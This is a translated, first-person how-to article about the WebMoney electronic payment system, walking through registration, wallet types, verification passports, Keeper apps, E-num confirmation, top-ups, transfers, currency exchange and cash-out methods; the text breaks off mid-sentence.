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Webmoney, WMR, WMZ, WMID - what do all these abbreviations mean and how are they decrypted? How to create an electronic wallet and how to use it correctly? How can I transfer electronic money to other users? How to pay for phone, internet and other purchases? How to withdraw and / or cash out WebMoney profitably and with the lowest commission? Advantages and disadvantages of the system based on several years of personal use. WebMoney is an electronic payment system where you can store virtual money and make payment transactions with it - pay for purchases, replenish your mobile phone account, pay taxes, buy games and much more. WMR (stands for WebMoney RUB) is the title unit of the WebMoney system, which is the equivalent of the Russian ruble. WMR-wallet is a wallet in the WebMoney system where WMR is stored and where various operations are performed with them (transfer, exchange, payment). WMID (stands for WebMoney ID) is a unique identifier that consists of a 12-digit numerical sequence, which is the participant's address in the WebMoney system. These and other terms will be discussed in more detail below. Contents 1 Briefly about the main 2 Why do we need electronic money and wallets at all? 3 How to create an electronic wallet WebMoney 3.1 Method 1. Registration on the site from a computer 3.2 Method 2. Registration on the site using a phone (we use a proprietary application) 4 Toolkit WebMoney. What you need to know before getting started 4.1 Briefly about the interface 4.2 Create a Webmoney wallet 4.3 What is WMID 4.4 What currencies can you operate 4.5 What is a WM-Passport, how to get it and what advantages does it provide 4.5.1 Example of obtaining a Formal Passport 5 What is Keeper 5.1 Keeper Standart (Mini) 5.2 Keeper WinPro (Classic) 5.3 Keeper Mobile 5.4 Keeper for social networks 5.5 What is the difference between these programs, which is better? 6 What is E-num, how to register in the service 6.1 How to secure your account 7 How to replenish your WebMoney account 7.1 From phone number 7.2 From bank account 7.3 Cash (example of replenishment from a Sberbank ATM) 7.4 From a bank card 8 How to pay for a purchase on any site with WebMoney 9 How to make a transfer 9.1 To another WebMoney wallet 9.2 To the wallet of another system (Yandex Money, Qiwi, etc.) 9.2.1 How to make an exchange directly 9.2.2 How to make an exchange through exchange sites 9.3 To a bank card (to a bank account) 9.3.1 Transfer to a bank card directly 9.3.2 Transfer to a bank card via exchange sites 10 How to convert currency 10.1 Internal WebMoney exchanger 10.2 Third Party Exchange Sites 11 How to withdraw (cash out) funds 12 About bank cards WebMoney 12.1 How to get a plastic WebMoney card 12.2 How to get a virtual Visa and MasterCard. Advantages and disadvantages 13 Advantages and disadvantages of WebMoney. Personal experience of use 14 Question - Answer 15 Conclusion According to statistics, as of November 2018, 37 million accounts were registered in the system, and about 10,000 registrations occur every day. The number of transactions (payments, transfers) carried out in the system exceeds 160 million! The start of WebMoney is considered to be November 20, 1998 - it was then that the first successful transaction on the Internet was made. In our country, the WebMoney system is not officially registered as an electronic payment system. However, its popularity is confirmed by studies of the e-Finance User Index - about 35% of Runet users use WebMoney wallets. So what is WebMoney? How to create an electronic wallet in this system? For what cases is it useful? How do I deposit and withdraw money? How do I pay for goods online? You will find the answers to these and other questions in this overview article. Together we will understand the operation of the system, and you will become confident users of an electronic wallet, even if this term is encountered for the first time. Briefly about the main thing WebMoney is an electronic payment system that allows you to carry out various operations on the Internet (replenishment, withdrawal, transfer of electronic money, payment for goods in an online store, etc.). You can operate in 11 currencies (rubles, dollars, euros and others). WMR is the abbreviated name of the ruble purse in the WebMoney system, WMZ is the abbreviated name of the purse in dollars, WME is the abbreviated name of the purse in euros. WebMoney is especially popular among freelancers and remote workers, as well as in various services that allow you to make money on the Internet. WebMoney wallet can be replenished without commission through many banks, including Sberbank, Alfa-Bank, Tinkoff and others. You can issue a plastic card (USD or EUR currency) to your webmoney wallet, as well as a virtual card in rubles, which can then be linked to Google Pay or Apple Pay. This will allow using the funds stored in the wallet to pay for various goods and services both on the Internet and in an offline store equipped with a banking terminal. WebMoney can be withdrawn with a commission to other electronic wallets (Yandex. Money, Qiwi), to bank cards, bank accounts. In the WebMoney system, you can borrow money. The cheapest withdrawal of Webmoney to a Sberbank card by phone number (final commission 2%), and for those who do not have a Sberbank card, you can use this service (final commission 2.8%): https://telepay.webmoney.ru. It is difficult to find it in the system menu, so I pinned it here. Why do you need e-money and wallets at all? I want to convey their essence by personal example. I was born in the small town of Neryungri and at the age of 15 had a fierce desire to earn money and help my family. But there was simply no work for a jerk like me! All I could do was write well and work hard. So I came across a copywriting exchange on the Internet, where I could write texts on my favorite topics and sell for money. But to get the money I earned, I had to open an electronic wallet (WebMoney was the first), because the copywriting exchange paid rewards only to electronic wallets. As a result, I got a permanent income, and I could spend the money I received on online purchases or cash them out (read on how to cash out electronic money). How to create an electronic wallet WebMoney Registering an electronic wallet is no different from registering on any website. It is enough to come up with a username, password and indicate a mobile phone. There are two ways to register: through a computer and through a mobile application on a smartphone. Let's take a closer look at both of these methods. Method 1. Registration on the site from a computer Step 1. Go to the official WebMoney website and click on the "Register" button in the upper right corner: Step 2. Immediately we will be asked to provide a phone number. You can't do without it. It is needed to confirm payments and recover account data. We select the telephone country code "Russia", indicate the phone number and enter the confirmation code shown in the picture: Step 3. We confirm the phone number. It will receive an SMS from WebMoney with a verification code, which must be entered on the site: Step 4. Create a password. Remember that this password is not from a site with pictures, but from an electronic wallet where the money will be stored, so come up with something non-trivial and complex, and do not forget to write it down. I recommend storing passwords in special programs such as KeePass or LastPass. Everything! We have successfully registered with WebMoney. After entering the password, we will be transferred to the following page: This is the start page and is blank. We still have to set up a profile, add a wallet, learn about a WM-passport ... More on this a little later, but for now we will consider the second option of registration - through a mobile application. Method 2. Registration on the site using a phone (we use a proprietary application) The WebMoney mobile application is called WebMoney Keeper. It is downloaded for free in application stores (on Android in the Play Market , on iOs in the App Store ). Links to application pages can also be found on the main page of the WebMoney website. After installation, the WebMoney icon will appear in the menu. Let's start registering in the application. The steps do not differ from the registration in the desktop version. After entering the application, click "Join": We indicate the phone number, confirm it with the code in the picture. We make another confirmation of the phone number, this time using the verification code from the SMS. Create a password. At the final stage of registration, we will be offered to make a couple of quick settings. Come up with a password for the application, enable notifications about operations, and more. An access code is needed as additional protection. At this stage, you can skip it and set it later, if required. The mobile version looks almost the same as the computer version: WebMoney Toolkit. What you need to know before getting started In this paragraph, we will look at the main WebMoney tools - we will learn how to add a wallet with different currencies, how to find out its number to use for payments, why I recommend getting a personal passport and what kind of annoying E-Num is. We will consider the functionality in the browser version. Briefly about the interface The main WebMoney menu (in the address bar www.webmoney.ru) looks like this. There are few functions here. What we see: At the top in the center are the blocks "About the system", "Individuals", "For business", "Help". This is something like the local "Wikipedia", which contains all the information about the system. For example, in the "Help" section, you will see the following items: There are two blocks in the center: "Operations" and "Services". They display the main frequently used functions, to which you can navigate in one click. For example, the button "Replenish" will take us to the page with replenishment of the wallet balance. This information is available on the main page. But the main work takes place on the page with the wallet (we will work with it in the following paragraphs). To enter your wallet, you need to find the inscription "WMID" with numbers in the upper right corner (you will find out what it is in the next paragraph): We click on it, after which a small menu will appear. To go to the wallet, click on the wallet symbol, next to which some numbers flaunt (this is still the same WMID): As a result, we get to the main working page with wallets (in the address bar https://wallet.webmoney.ru): There are several sections here. On the "Main" page, you will see information about available wallets, transfer history, buttons with operations, and more. Simply put, it is a quick access bar. Let's take a look at "Payment for services". Here you will find a list of various operations that can be performed using the WebMoney wallet: mobile communications, transfer to a card, games, the Internet, social networks, utilities, loan repayments, transport, food and more. In the "Chats" you will see system messages, and you can also write to other WebMoney members (for this you need to know their WMID). This is just a chat where you can ask friends to throw money or ask how they are doing: Completed payment transactions are displayed in the "History of Transactions": In More, you will see additional sections: Contacts. You can specify the person's WMID, and he will be in your Contacts. It's easier to make transfers and send messages this way; Market. WebMoney digital store, which contains: "Games", "Prepaid cards", "E-books", "Programs"; Ask a Question. When you go to the section, you will be transferred to the "Chats" to technical support; Loans. Here you can apply for a loan. Also on the right there are barely noticeable "three dots" that hide an extremely important item - "Settings": Let's take a look inside: The following subsections are found here: Linked accounts of social networks and not only (Vkontakte, Odnoklassniki, Yandex, Facebook). The binding makes it easier to log into the system: you can log in through the social network without a username and password; Security. Here you can change your password; Restrictions. You can configure the acceptance of payments and messages from unauthorized correspondents (on / off). The function is relevant in the process of buying and selling goods and services. For example, a merchant might prohibit “accidental” payments from buyers. Random payments are payments made by mistake. Read more about this here ; Applications. A summary of the applications used (for example, if you have the WebMoney mobile application installed, it will be displayed in this subsection); Interface. Settings for visual interface elements (default currency, tooltips, and more); Notifications. Setting sound notifications (on / off). For example, notifications about transfers, messages. You can turn the sound on or off. Also, the system has a very hidden section "Passport", which I could not access from the main page with wallets. It is located at this link and will be useful to us for further settings. In the "Control Panel" you will see basic information about the profile - mobile phone, E-mail, nickname and more. In the section "Obtaining a passport" there is information about what a passport is and how to get it (although we will do it all in the example below). Help has answers to frequently asked questions. Create a Webmoney wallet To create a wallet, you need to go to the page with it. Step 1. Click on the "+ add" block on the "Main": Step 2. When pressed, a small menu will drop out with a proposal to create a wallet, attach other systems and manipulate cards. We need a section "Create a wallet" (1). After clicking on it, you are prompted to select the wallet currency. To create a ruble wallet, select WMR (2). Step 3. Confirm the agreement: Ready! It took us three steps to create a ruble WebMoney wallet, which is abbreviated as WMR. It will be displayed in the block with which we started: As a result, we get a 12-digit individual wallet number: R207033756796. We will use it in the future for replenishment, payment on sites, transfers. Life hack: you can copy the wallet number with one click of the mouse. To do this, put the cursor on the wallet, and in the window that appears, click on the "Copy to clipboard" button. What is WMID Not to be confused with the wallet number! WMID (English WebMoney identifier) is an identifier (address) of the participant in the form of a numerical sequence of 12 digits. Each participant has his own, it is impossible to confuse. One WMID can have several purses (WMR, WMZ, WME, etc.), but not vice versa. You can find out your WMID in the upper right corner: WMID is not classified information. It is used for various purposes, for example: Authorization on the site (instead of a login, you can use a WMID); To check the certificate. Situation: you have contacted the person from whom you want to buy goods "from hand", but he asks to make an advance payment to the WebMoney wallet. You can ask for his WMID and check here if there are any complaints about him and make sure that he is not a fraud. What is a passport and how to identify a fraudster by it - read below in the section “What is a WM-passport, how to get it and what advantages it gives”. To send messages via WM-mail; To send / receive WebMoney accounts and so on. That is, roughly speaking, this is your login in the system. And it cannot be used as a props for transactions with funds! For example, if you plan to make a transfer to another person, then you will need to specify his wallet number, not WMID. What currencies can you operate By analogy with WMR, wallets in other currencies are created. Let me remind you that on one account you can create 11 wallets with different currencies! Each wallet has its own abbreviation (it is also called "Title unit"). Designation table: IDentifier Decryption Currency WMR R type wallet Russian rubles WMZ Z type wallet U.S. dollars WME E type wallet Euro WMU U type wallet Ukrainian hryvnia Wmk K type wallet Kazakhstani tenge WMB Type B wallet Belorussian rubles Wmg Type G wallet Gold WMV V type wallet Vietnamese dongs Wmx Type X wallet Bitcoins (funds equivalent to 0.001 BTC are displayed on the wallet) Wmh Type H wallet Bitcoin BCH (0.001 BCH) WML L-type wallet Litecoin LTC (0.001 LTC) Special types of wallets Wmd Type D wallet Accounting for loans issued WMC Type C wallet Credit liabilities What is a WM-Passport, how to get it and what advantages it gives Okay, the wallet has been created, now you can go shopping on the Internet? Yes, but I do not advise you to rush, as there are restrictions on the newly created account, which are determined by the passport. WebMoney passport is a digital ID, a "passport" of a WebMoney system participant. There are 4 levels: Alias. Assigned to all newly registered participants; Formal; Elementary; Personal. The higher the level, the more confidence the user has in the system, and the wider are his opportunities on the site. Below in the pivot table you will find the differences between different passports. Passport, Keeper, WMID, WMR ... how many new terms, you can get confused. For the sake of fairness, it should be noted that Webmoney is a very complex system and even to me, an experienced user, it still causes a lot of inconvenience. So that you do not get confused, I will give such a hierarchy so that it is clear which of the terms is more important and what follows what: As you can see from the figure, each person can receive one certificate. You can bind several WMIDs to it. And on each WMID, you can create several different wallets linked to any currency. The creation and management of wallets takes place in the Keeper program. How can I find out my passport? This can be easily seen in the profile. To do this, click on the "wasp" icon, which is located above the blocks with wallets: The information is also displayed on the main page of the WebMoney website (not on the page with wallets): What you can do with the "Pseudonym" passport wallet: Make transfers within the system, that is, from one webmoney wallet to another; Top up wallets with cash only; Pay for utilities and online purchases; Pay for mobile services; Exchange an identifier of one type for another (for example, WMZ for WMR); To correspond; Pay and write invoices. Comparison table of passport capabilities: Criterion \ Certificate Alias Formal Elementary Personal Settlements with other users + + + + Limit of expense transactions per day (rubles) 15.000 60.000 900.000 9.000.000 Maximum amount of funds on 1 wallet (rubles) 45.000 200.000 900.000 9.000.000 Replenishment of a wallet using terminals, postal order, bank payment - + + + Withdrawal through exchange offices or bank payment - + + + I have given a few basic features, you can find a complete list at this link. How to raise the level of the certificate? If you are going to work with a WebMoney wallet, replenish it from cards, transfer earned money to it on the Internet - it is recommended to get at least a "Formal" level. To get the "Formal" level , you need to provide your passport data at this link. Issued free of charge in 5 minutes. You can get the "Initial" level in the following ways: Make an application on the website of the State Service. Detailed instructions. Free service. I recommend this method. At one of the personalizers. To do this, you need to personally meet with the person who will give you the status. The service is paid, in Russia - from $ 5 to $ 100. To get it, you need to find your city in this list and click "Details" to get contacts for communication. A dreary way, also paid - I do not recommend; Checking the video. You need to record a video in a special WebMoney service VideoID and show the spread of your passport, and read the text of the "Liability Agreement" aloud. Cost - $ 6. Page to write. You can get the "Personal" level in the following ways: At one of the registrars. Just like with the personalizers, which I wrote about above - we select a person from this list and contact him (only one registrar located in Moscow accepts notarized documents by mail, in other cases the certificate is obtained at a personal meeting) The cost of the service in Russia - from $ 10 to $ 50. At the center of certification. The certification center has offices in Russia (only Moscow and St. Petersburg), Vietnam and Belarus. You need to contact them or send a statement by mail, certified by a notary. The service is chargeable. Office addresses . You can start the procedure for obtaining the Formal Passport on this page . Note: if you are registered on the State Service website, you can log in through it by pressing a special button. In this case, you will not need to enter your passport data, and the procedure for obtaining a new level of certificate will be significantly accelerated. Consider the option of completely filling all the data: Step 1. Click on "Continue" and then fill in the data fields. Example: Step 2. Fill in additional data (optional step). However, I recommend specifying the TIN - this will speed up the process of obtaining a certificate. Without a TIN, you will have to wait until the scan of your passport is verified with the data provided. Step 3. Uploading a scanned passport page with a photo and signature. You can take a picture or use a scanner. You need to download the document from your computer. After downloading, you will need to select the type of document: If everything is selected correctly, the following message will appear: Now what? You can find out if you have received the Formal Passport by going back to the page that I pointed to at the beginning of the paragraph (this page). We will move to the "Control Panel" section, where below we will see the entered data and the status of the certificate: There was no need to wait for the passport scan to be checked, since the check took place through the TIN. As you can see, we now have a Formal Passport! Agree, it is not so difficult to get it. Additionally, it displays what else you can do. From all this, I recommend "Check email address" and "Set an answer to security question for WMID" for greater security. What is Keeper There are several different programs for managing your wallets in the Webmoney system. All of them are united by the common name Keeper, which translates as Keeper. In our case, the Keeper of electronic money. In the Keeper program, you will perform all operations: transfer money, pay for services, view payment history, etc. It is convenient for someone to work through a browser without installing anything on a computer. Some people, on the contrary, find it more convenient to install the Keeper on a PC. Someone works exclusively through a smartphone. I used to have a computer version, but it requires a special key to work, which can be obtained on the WebMoney website. Once I needed to reinstall the Windows system, and the keys, apparently, are tied to the hardware and operating system. In general, the old key was not suitable for the program to work, and it needed to be restored. But it turned out to be such a tricky operation that I abandoned it and since then I have been using the web version of Keeper Standard (Mini), and also installed Keeper Mobile on my phone. Let's consider each version in more detail. Keeper Standart (Mini) Browser version of the keeper. In this article, most of the screenshots were taken from this version. Available by default in all browsers (including mobile). That is, to enter Keeper Standart, you do not need to install / go anywhere. Keeper WebPro (Light) Attention! To access WebPro (Light), you need to re-register. Browser version with advanced features. To get into it, you need to use your username and password and follow this link. What's possible in Keeper WebPro: Creation of any new wallet (for example, ruble, even if it has already been opened); More convenient display of wallets (+ for convenience); Improved security (three ways to log in to the system are supported: through login and password, using a security certificate and using E-Num); Can be combined with Keeper Mobile and Keeper WinPro. I've never had a need for a WebPro, and judging by the comments from users, Pro and Mini are not that different. Keeper WinPro (Classic) You can download the program on this page (only for Windows operating systems). Its interface looks like this: That is, it is a common program for a computer, from which you can manage wallets (replenish, transfer money). Attention! To enter through the WinPro (Classic) program, you need: Obtain a Formal Passport (see the example of obtaining above); Re-register . For the operating system Mac OS X (Apple computers), a special program has been developed based on this version. You can download it at this link . Keeper mobile Mobile application for managing wallets. We partially covered it above when we registered via phone. You can download the version for your operating system (Android, iOS, Windows Phone, BlackBerry) in the official store or on this page: Keeper for social networks Application for social networks Facebook, VKontakte, Odnoklassniki. To install, you must click on the desired social network button on this page. An example of launching an application: What is the difference between these programs, which is better? Mostly I have always used Keeper Starndart (Mini). However, acquaintances advise me to try other versions, and I wondered: what, in fact, is the difference? Which one is more convenient? Having studied their capabilities, I made a table where I highlighted the features of each Keeper. I hope I can help you make your choice! Keeper Standart (Mini) Keeper WebPro (Light) Keeper WinPro (Classic) Keeper mobile Supported operating systems Windows, Linux, Mac, Java MIDP 2.0, Windows Mobile, Symbain, Java MIDP 2.0, iOs, Android, Windows Phone Windows, Linux, Mac, Android, iOs Windows Windows Mobile, Symbain, Java MIDP 2.0, iOs, Android Safety Password login, SSL certificate, E-NUM, SMS activation, captcha Key file, SSL certificate, IP restriction, ENUM, SMS activation, captcha Password login, key file, SSL certificate, IP restriction, ENUM, SMS activation, binding to equipment, captcha Password login, SSL certificate, SMS activation, Supported functions Transfer of funds (+ protection by code / time), invoicing, payment of invoices, secure correspondence Transfer of funds (+ protection by code / time), invoicing, payment of invoices, secure correspondence, credit transactions Transfer of funds (+ protection by code / time), invoicing, payment of invoices, secure correspondence, credit transactions Transfer of funds (+ protection by code / time), invoicing, payment of invoices, secure correspondence As you can see, significant differences are observed in security. The safest option is WM Keeper WinPro, in second place is WM Keeper WebPro, in third place is WM Keeper Standart, and an outsider is WM Keeper Mobile. Keeper functions are practically the same. What is E-num, how to register in the service E-num is an additional protection so that some scammers or hackers don't steal your money. Let's draw an analogy with a bank card: when you pay for purchases on the Internet with a card, then to confirm the operation you need to enter the code that comes to your phone via SMS. It is also necessary to confirm transactions in WebMoney. This can be done via SMS. Paid service - 1.5 rubles. for each message. E-num is a free alternative to text messages. What can you do if you are registered in the E-Num system: registration / authorization in the WebMoney system; additional secure login method; confirmation of payment for services, transfer of funds and other operations. How to register in the E-num service? To do this, you need to have: email; cell phone number; one of the devices: tablet or smartphone (Android, iOs, Windows Phone, BlackBerry). There are several ways to register: On the website E-num . Detailed instructions are here; In the E-num application, the client; Automatically, when installing the WebMoney mobile application (or logging into it from the phone); Automatically, upon authorization on the system sites or confirmation of payment. Let's check this thing to see if it works. How it looks in theory: When making a transfer on the website page or in the WebMoney program, the participant sees the number-question; Launches the E-Num or WebMoney Keeper application on the phone and enters the question number. After receiving the number-answer; Returns to the site or WebMoney program and enters the number-answer in a specific field. How it looks in practice: As a test operation, I transfer money to another wallet. As a confirmation of the operation, I am offered to choose two methods, we need an E-Num: Next, we get to a page with a question number. You can also use a QR code: We move to the WebMoney Keeper mobile application, which was discussed at the beginning of the article. In the "More" section, look for "E-NUM": We select the option "Code Scanning": We scan it using a smartphone camera: Enter the application password (or use the fingerprint verification function, if your phone has one): And as a result, we get the number-answer: Which you need to enter in the "Number-answer" box on the site where I started to carry out the operation: For a beginner, all this may seem too complicated. I completely agree with you, as I already noted, WebMoney is a confused system, but over time you quickly get used to it. In this bundle, you can't do without a smartphone. On the other hand, this is security, so it's better this way than once discovering a donut hole in your e-wallet. How to secure your account Like a cash wallet, a WebMoney account needs to be protected. The Security service will help you with this. Let's take a look at the "Protection" section. There are the following sections: Confirmations. You can customize the way transactions are confirmed; IP addresses. Information about the IP addresses from which the account was logged in; Activation.Needed to activate the WinPro program; PhotoID.This is a service where you can upload your photo for identification purposes. So WebMoney will have more confidence in you, which will simplify some operations (restoring access to your account, changing your mobile phone); Security Question. Another security measure. You can select a security question and ask an answer for it. The next section is "Control Methods". Here you will see what types of Keeper are connected to your account. What is highlighted in green is active. What is grayed out is not connected. Last but not least is the Power of Attorney. You can create a list of trusted WMIDs, as well as set operations through the "Trust setup": This section is relevant for entrepreneurs and businesses, where the owner makes a power of attorney to his accountant to make transfers to someone (counterparties, employees, clients). After lengthy settings, we still got to work with the wallet. In this section, we will figure out how to replenish the wallet, buy something with it, make a transfer and withdraw money. How to fund your WebMoney account To replenish WebMoney, you need to click on the desired one on the page with wallets: After that, a window will appear with this wallet, where there is a button "Replenish": We press on it. A menu opens, in which there are the main ways to replenish the wallet. The first four methods of replenishment are the main ones, and we will consider each one below. Note: You can get full background information on WebMoney replenishment on the main page of the site. It has a button "Top up", which we need to click: And we will see information on how to replenish a wallet of any currency and in what ways. For example, when choosing "Cash" we will be shown where the nearest ATMs are. From phone number We select the "From phone" option: We indicate the amount and click "OK": As a result, an SMS with a confirmation code will come, and after entering it, the following message will appear: The method is fast enough and without commissions. From a bank account When you select this option, several deposit options will appear. As an example, I will choose "Through Sberbank Online": We select the required amount and click on "Order": As a result, we will be redirected to a page with instructions for replenishment. You can choose the method from the mobile application or the desktop version of Sberbank Online. I choose the second one, for this I go to the Sberbank Online website, having previously logged in, and look for the "Transfers and Payments" section: In the "Payment for services and purchases" window, enter WebMoney: We select WebMoney, enter the details, as indicated in the instructions: We confirm the payment by phone, return to that page and update it (!). As a result, we see that the operation was successful: On the WebMoney website with wallets, we see that the account status has changed, and a corresponding entry has appeared in the "New transactions" column: In the process of replenishment, this method seemed complicated to me. Why transfer money to your left account if you can directly specify your wallet in the application or on the Sberbank website? In this case, there will be no commissions! This will simplify the replenishment process. Cash (example of replenishment from a Sberbank ATM) Nothing fancy - for this we need to find an ATM that accepts transfers to e-wallets. This is what the system shows on the map of Vladivostok: Unfortunately, he did not find anything in the area of my university. However, I can top up using a Sberbank ATM, but from a bank card. In the ATM we find the option "payments" and look for "electronic payments", and then follow my instructions. The WebMoney system is quite widespread, so this ATM has it. We enter the wallet number (note that it must start with the letter R, but for some reason this letter was not in my ATM) and the amount. It remains only to confirm the payment. Commission 0 rub. From a bank card We select the item "From a bank card". We take the card in hand, fill in the data from it in the fields on the site: Pay attention to the commission. When replenishing from any card for an amount less than 2800 rubles. the commission is 50 rubles, higher - no commission. Not the most comfortable conditions, you must agree. Especially when you are trying to top up 100 rubles. Please note: if the card does not have the 3-D Secure function, then the payment will not work (an error will occur). If everything is okay, you will receive a code on the phone linked to the card, which must be entered to confirm the operation. And as a result, the wallet will be replenished with the specified amount. As you understand, it makes no sense to throw small amounts in this way - you will lose more on the commission. How to pay for a purchase on any site with WebMoney Now there is a certain amount on the wallet, which means you can go shopping! I love video games, and I want to buy some simple one. Having decided on the site and the game, when placing an order in the "Payment" column, I choose the WebMoney method: After clicking on it, we are redirected to the system's website, where we are offered to confirm the payment in two ways: 1) by SMS (additional 1.5 rubles are charged) or 2) E-num (free). Since we have already considered the example of replenishing the wallet above and chose E-num as confirmation, now I will show you how to confirm transactions using SMS messages. It remains to confirm the payment with the code: Everything! The item was paid for using WebMoney. This way you can pay for goods, services, and more. The process is quick and easy. How to make a transfer To another WebMoney wallet To do this, you will need the wallet number of the person to whom you wish to transfer. Select the button "Transfer" on the page with wallets: We fill in the appeared form. What to look for here: 1) In the "To" field, you can specify both the recipient's wallet number and his e-mail (must be linked to WebMoney) or WMID; 2) In the "Transfer type" field, you can select three options: regular and with protection by code or by time. With protection of the transaction by code - means that your transfer will be protected by a special code that will be visible only to you. For the other party to receive money, she must enter this code. This is a measure in case you are not sure about the recipient's details. With the protection of the transaction by time, the addressee does not need to specify the code; the transfer will be made after the expiration of the time specified by the sender. At the next step, we confirm the transfer using E-num or via SMS. Everything! The transfer is completed, the recipient will display the following operation. To a wallet of another system (Yandex Money, Qiwi, etc.) Funds from WebMoney can be transferred to the wallets of the following systems: Yandex money; QIWI; PayPal. But for the exchange to be successful, you need to link the wallet of the desired system to WebMoney. About linking wallets Let's say we need to link Yandex.Money and WebMoney. What we need: Have a Yandex.Money account. It must necessarily have a nominal or identified status. How to do this - read the article What is Yandex.Money, how to create a Yandex.Wallet and how to use it . Have a WebMoney status of at least formal (I showed how to get it using the example above). If you have two verified wallets, you can link them accordingly. Unfortunately, I cannot show by personal example, because they are already attached to me, but WebMoney has compiled a cool step-by-step instruction with pictures on this issue. You can read it here. After linking, you will have a wallet of the following type. How to make an exchange After linking, you can replenish wallets from one to another in the following ways: Directly; Through exchange sites. How to exchange directly Direct transfer involves sending money using the built-in function of the system. For example, we want to transfer money from WebMoney to Yandex. To do this, click on the wallet that appears and select "Top up from wallet". I transferred 100 rubles, and they successfully reached Yandex.Money. If you transfer from WebMoney to Yandex, no commission is charged (to my surprise), but if in the opposite direction, then get ready to donate 3% of the transfer amount. How to make an exchange through exchange sites The Bestchange site will help us with this . This is an aggregator site with all exchangers where you can exchange WebMoney for anything: Other e-wallets (Yandex, Qiwi, PayPal, Payeer) Internet banking (Sberbank, Tinkoff, Alfa-Bank, etc.) Cryptocurrency; Money transfer systems (Western Union, Unistream, Zolotaya Korona, etc.); Cash. From the pros of Bestchange: Convenient exchange calculator, shows the total amount, taking into account commissions; Reviews for each exchanger, this reduces the risk of running into scammers, but does not give 100% guarantees of reliability; Alert system - if the exchange is not in a hurry, but a profitable rate is extremely important, then you can send a notification, and you will receive interesting options in your mail; Sometimes you can find options when you are paid extra for an exchange, we will consider this option below. Let's say I want to transfer WebMoney rubles (WMR) to Yandex.Wallet. On this site, on the right, I select the appropriate currencies and see a list of exchangers that can provide this service. The top position is occupied by the site with the most profitable rate. Please note that the minimum transfer amount is written in the “Forwarding” column. I click on the option that suits me and go to the page where you need to fill in the details and indicate the amount of the transfer. Next, I confirm the operation as usual. Usually, such sites process applications automatically, and money instantly comes to the account. As you can see from the example, we paid 6,800 rubles. from your WebMoney wallet, and got even more on Yandex Wallet - 6854.82. The exchanger paid us 54.82 rubles. The question is, why did he do it? Where is the logic? It's simple, sometimes in some exchangers a lot of a particular currency accumulates, while some other may not be enough. Therefore, exchangers make a discount, which will then be returned back at the exchange of another pair of currencies. If you start earning a lot of web money, then on Bestchange you can find interesting exchange options in order to cash out the money later with a profit for yourself. To a bank card (to a bank account) You can transfer funds either to a bank card or to a bank account using full details. This is also done in two ways: Directly from WebMoney; Through exchange sites. Transfer to a bank card directly Below, under the wallets, select the option "To a bank card", then - the currency: Enter the card number and amount (pay attention to the limits). Transfer to a bank card (or account) is carried out by creating an application and choosing an executor. In practice, it looks like this: first, we fill out an application, where we indicate the amount of transfer, from which wallet, to which card and through which bank. Note: a transfer to a bank account is carried out in a similar way, but there is a slightly different type of application. When the application is completed, click on "Submit application" at the bottom of the page. We confirm. Next, a list of available offers from other persons will appear that can transfer to a bank card. You can choose one of them (differ in commission and banks) or create your own application, which you filled out above (the "Create application" button at the bottom of the page). In order to speed up this process, I choose the topmost option (the most profitable). Fill in the data again. We confirm the operation by SMS code. Everything! Now it remains to wait for the second party to transfer money to us on the card. Unlike transferring to other wallets, the local function of transferring money to the card is, well, too dreary and confusing (+ high commission). I will not use this method and would rather turn to BestChange, everything is much simpler there and the commissions are lower. The translation came quickly, literally in an hour. The person transferred money to my Sberbank card through Tinkoff Bank, and also sent a chat message next to the application. Please note: WebMoney has a famously hidden function of transferring to a card, which I stumbled upon by accident: https://telepay.webmoney.ru/ru/cards What is the point - just drive in the card number, indicate the amount and send it to the card. There are two main translation options here: With a commission of 2.5% + 40 rubles. per operation (the limit on the transfer amount is 14.500 rubles, if you need more, then just make several transfers); With a commission at a reduced rate of 2% (limit on the amount up to 90,000 rubles). Naturally, we will consider the second option, since it is more profitable. Transfer to a bank card through exchange sites On the BestChange website, select a bank in the “Receive” column (for example, “Sberbank”). Next, select the appropriate site. And just like when transferring to other electronic systems, we fill out an application, indicating the details and amount. We pay for the application and wait for the money to be credited to the card. Lead time depends on the bank. For example, when transferring to Sberbank, money went on average 1-3 days. If you want to transfer money to a bank card, then this method is the best choice. The minimum commission (0.8% - the built-in WebMoney commission + about 0.5% the commission of the service itself (set by the administration)), the ease of creating an application is in every way better than the built-in WebMoney function. How to convert currency In WebMoney, you can operate with several currencies at the same time, and sometimes you need to convert one to another. This will help us: Internal exchanger WebMoney; Third party exchange sites. Let's convert rubles (WMR) to dollars (WMZ). Internal exchanger WebMoney Select the WMR wallet and click on the button with two arrows (exchange). Choosing currencies. We give WMR and receive WMZ. With this translation, the rate is 1 WMZ = 68.97 WRM (needed for further comparison). If everything is ready, click on "Ok" and confirm the operation in the next window. The status of the wallets has changed, and a corresponding entry has appeared in the "New operations" column. Third party exchange sites We visit the BestChange website and select the convertible currencies. On exchange sites, you can choose only three currencies - WMR, WMZ, WMU. And get acquainted with the tariffs (compare with what I have highlighted above). There are two options: If the tariff on the site is lower than on the official exchanger, then it is better to use it. As you can see, on the "Exchange" website the rate is 0.37 rubles lower, so when exchanging currency I will choose it; If it is higher, it is logical to use the official exchanger. Currency exchange on such sites does not differ from what I described earlier. We also fill in the fields, indicating the details and amount, and confirm the payment. How to withdraw (cash out) funds I work on the Internet, and part of my salary comes to WebMoney. But in order to use electronic money in real life, I have to withdraw it. There are several ways to withdraw, and we will cover each in this paragraph. Let's say we want to withdraw WMR rubles. Select the appropriate wallet, and in the window that appears, click on "Withdraw". Next, a drop-down menu will appear with the output methods. What we have: To a bank card / account. You can transfer webmoney to any card or bank account, and then cash out from there through an ATM or pay for purchases with a card. To an electronic wallet. See the item "To the wallet of another system" above. How do I do - I transfer WebMoney to Yandex.Money, and in the future I use a Yandex.Money card to cash out at ATMs or to pay through terminals in stores. What is Yandex.Map, you can learn from the article What is Yandex.Money, how to create a Yandex.Wallet and how to use it. Buy a prepaid card. This option will take us to the internal WebMoney store (market), which I mentioned at the beginning of the article. That is, it is proposed to convert money into some virtual product (games, e-books, programs, etc.). You can also convert rubles to a card, but the rates here are extremely unprofitable. They also offer additional methods: Find places nearby If you choose this method, a page with reference information about various WebMoney points (exchanger, post offices, replenishment / withdrawal points) in Russian cities will open. When you click on "Withdrawal points" you will see the addresses of these points and what you can do. For instance. At this point, you can withdraw WMR, WME, WMZ in cash, but with a commission. Unfortunately, such places are not available in all cities of Russia, mainly in Moscow and St. Petersburg. Other methods When you click on this button, you will see a list of all withdrawal methods: And this is just a list of ways, some of which I described above. The whole point of previously unconsidered methods (Money Transfer, Bank Transfer, Postal Transfer) comes down to simple filling out an application. For example, for 